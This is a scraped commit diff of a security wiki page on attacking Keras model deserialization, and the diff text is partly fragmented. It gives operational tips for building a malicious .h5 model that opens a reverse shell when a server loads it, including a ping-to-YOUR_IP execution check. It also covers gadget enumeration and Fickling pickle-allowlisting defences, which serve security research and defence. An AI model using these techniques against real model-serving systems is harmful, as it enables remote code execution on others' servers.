You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Many production stacks still accept legacy TensorFlow-Keras HDF5 model files (.h5). If an attacker can upload a model that the server later loads or runs inference on, a Lambda layer can execute arbitrary Python on load/build/predict.
97
+
98
+
Minimal PoC to craft a malicious .h5 that executes a reverse shell when deserialized or used:
- Trigger points: code may run multiple times (e.g., during layer build/first call, model.load_model, and predict/fit). Make payloads idempotent.
117
+
- Version pinning: match the victim’s TF/Keras/Python to avoid serialization mismatches. For example, build artifacts under Python 3.8 with TensorFlow 2.13.1 if that’s what the target uses.
118
+
- Quick environment replication:
119
+
120
+
```dockerfile
121
+
FROM python:3.8-slim
122
+
RUN pip install tensorflow-cpu==2.13.1
123
+
```
124
+
125
+
- Validation: a benign payload like os.system("ping -c 1 YOUR_IP") helps confirm execution (e.g., observe ICMP with tcpdump) before switching to a reverse shell.
126
+
94
127
## Post-fix gadget surface inside allowlist
95
128
96
129
Even with allowlisting and safe mode, a broad surface remains among allowed Keras callables. For example, keras.utils.get_file can download arbitrary URLs to user-selectable locations.
@@ -116,17 +149,63 @@ Gadget via Lambda that references an allowed function (not serialized Python byt
116
149
Important limitation:
117
150
- Lambda.call() prepends the input tensor as the first positional argument when invoking the target callable. Chosen gadgets must tolerate an extra positional arg (or accept *args/**kwargs). This constrains which functions are viable.
- Network callbacks/SSRF-like effects depending on environment
122
-
- Chaining to code execution if written paths are later imported/executed or added to PYTHONPATH, or if a writable execution-on-write location exists
152
+
## ML pickle import allowlisting for AI/ML models (Fickling)
153
+
154
+
Many AI/ML model formats (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, older TensorFlow artifacts, etc.) embed Python pickle data. Attackers routinely abuse pickle GLOBAL imports and object constructors to achieve RCE or model swapping during load. Blacklist-based scanners often miss novel or unlisted dangerous imports.
155
+
156
+
A practical fail-closed defense is to hook Python’s pickle deserializer and only allow a reviewed set of harmless ML-related imports during unpickling. Trail of Bits’ Fickling implements this policy and ships a curated ML import allowlist built from thousands of public Hugging Face pickles.
157
+
158
+
Security model for “safe” imports (intuitions distilled from research and practice): imported symbols used by a pickle must simultaneously:
159
+
- Not execute code or cause execution (no compiled/source code objects, shelling out, hooks, etc.)
160
+
- Not get/set arbitrary attributes or items
161
+
- Not import or obtain references to other Python objects from the pickle VM
162
+
- Not trigger any secondary deserializers (e.g., marshal, nested pickle), even indirectly
163
+
164
+
Enable Fickling’s protections as early as possible in process startup so that any pickle loads performed by frameworks (torch.load, joblib.load, etc.) are checked:
165
+
166
+
```python
167
+
import fickling
168
+
# Sets global hooks on the stdlib pickle module
169
+
fickling.hook.activate_safe_ml_environment()
170
+
```
171
+
172
+
Operational tips:
173
+
- You can temporarily disable/re-enable the hooks where needed:
174
+
175
+
```python
176
+
fickling.hook.deactivate_safe_ml_environment()
177
+
# ... load fully trusted files only ...
178
+
fickling.hook.activate_safe_ml_environment()
179
+
```
180
+
181
+
- If a known-good model is blocked, extend the allowlist for your environment after reviewing the symbols:
- Fickling also exposes generic runtime guards if you prefer more granular control:
191
+
- fickling.always_check_safety() to enforce checks for all pickle.load()
192
+
- with fickling.check_safety(): for scoped enforcement
193
+
- fickling.load(path) / fickling.is_likely_safe(path) for one-off checks
194
+
195
+
- Prefer non-pickle model formats when possible (e.g., SafeTensors). If you must accept pickle, run loaders under least privilege without network egress and enforce the allowlist.
196
+
197
+
This allowlist-first strategy demonstrably blocks common ML pickle exploit paths while keeping compatibility high. In ToB’s benchmark, Fickling flagged 100% of synthetic malicious files and allowed ~99% of clean files from top Hugging Face repos.
198
+
123
199
124
200
## Researcher toolkit
125
201
126
202
1) Systematic gadget discovery in allowed modules
127
203
128
204
Enumerate candidate callables across keras, keras_nlp, keras_cv, keras_hub and prioritize those with file/network/process/env side effects.
129
205
206
+
<details>
207
+
<summary>Enumerate potentially dangerous callables in allowlisted Keras modules</summary>
208
+
130
209
```python
131
210
import importlib, inspect, pkgutil
132
211
@@ -170,6 +249,8 @@ for root in ALLOWLIST:
170
249
print("\n".join(sorted(candidates)[:200]))
171
250
```
172
251
252
+
</details>
253
+
173
254
2) Direct deserialization testing (no .keras archive needed)
174
255
175
256
Feed crafted dicts directly into Keras deserializers to learn accepted params and observe side effects.
@@ -199,61 +280,6 @@ Keras exists in multiple codebases/eras with different guardrails and formats:
199
280
200
281
Repeat tests across codebases and formats (.keras vs legacy HDF5) to uncover regressions or missing guards.
201
282
202
-
## Defensive recommendations
203
-
204
-
- Treat model files as untrusted input. Only load models from trusted sources.
205
-
- Keep Keras up to date; use Keras ≥ 3.9 to benefit from allowlisting and type checks.
206
-
- Do not set safe_mode=False when loading models unless you fully trust the file.
207
-
- Consider running deserialization in a sandboxed, least-privileged environment without network egress and with restricted filesystem access.
208
-
- Enforce allowlists/signatures for model sources and integrity checking where possible.
209
-
210
-
## ML pickle import allowlisting for AI/ML models (Fickling)
211
-
212
-
Many AI/ML model formats (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, older TensorFlow artifacts, etc.) embed Python pickle data. Attackers routinely abuse pickle GLOBAL imports and object constructors to achieve RCE or model swapping during load. Blacklist-based scanners often miss novel or unlisted dangerous imports.
213
-
214
-
A practical fail-closed defense is to hook Python’s pickle deserializer and only allow a reviewed set of harmless ML-related imports during unpickling. Trail of Bits’ Fickling implements this policy and ships a curated ML import allowlist built from thousands of public Hugging Face pickles.
215
-
216
-
Security model for “safe” imports (intuitions distilled from research and practice): imported symbols used by a pickle must simultaneously:
217
-
- Not execute code or cause execution (no compiled/source code objects, shelling out, hooks, etc.)
218
-
- Not get/set arbitrary attributes or items
219
-
- Not import or obtain references to other Python objects from the pickle VM
220
-
- Not trigger any secondary deserializers (e.g., marshal, nested pickle), even indirectly
221
-
222
-
Enable Fickling’s protections as early as possible in process startup so that any pickle loads performed by frameworks (torch.load, joblib.load, etc.) are checked:
223
-
224
-
```python
225
-
import fickling
226
-
# Sets global hooks on the stdlib pickle module
227
-
fickling.hook.activate_safe_ml_environment()
228
-
```
229
-
230
-
Operational tips:
231
-
- You can temporarily disable/re-enable the hooks where needed:
232
-
233
-
```python
234
-
fickling.hook.deactivate_safe_ml_environment()
235
-
# ... load fully trusted files only ...
236
-
fickling.hook.activate_safe_ml_environment()
237
-
```
238
-
239
-
- If a known-good model is blocked, extend the allowlist for your environment after reviewing the symbols:
- Fickling also exposes generic runtime guards if you prefer more granular control:
249
-
- fickling.always_check_safety() to enforce checks for all pickle.load()
250
-
- with fickling.check_safety(): for scoped enforcement
251
-
- fickling.load(path) / fickling.is_likely_safe(path) for one-off checks
252
-
253
-
- Prefer non-pickle model formats when possible (e.g., SafeTensors). If you must accept pickle, run loaders under least privilege without network egress and enforce the allowlist.
254
-
255
-
This allowlist-first strategy demonstrably blocks common ML pickle exploit paths while keeping compatibility high. In ToB’s benchmark, Fickling flagged 100% of synthetic malicious files and allowed ~99% of clean files from top Hugging Face repos.
256
-
257
283
## References
258
284
259
285
-[Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
@@ -262,11 +288,12 @@ This allowlist-first strategy demonstrably blocks common ML pickle exploit paths
262
288
-[CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
0 commit comments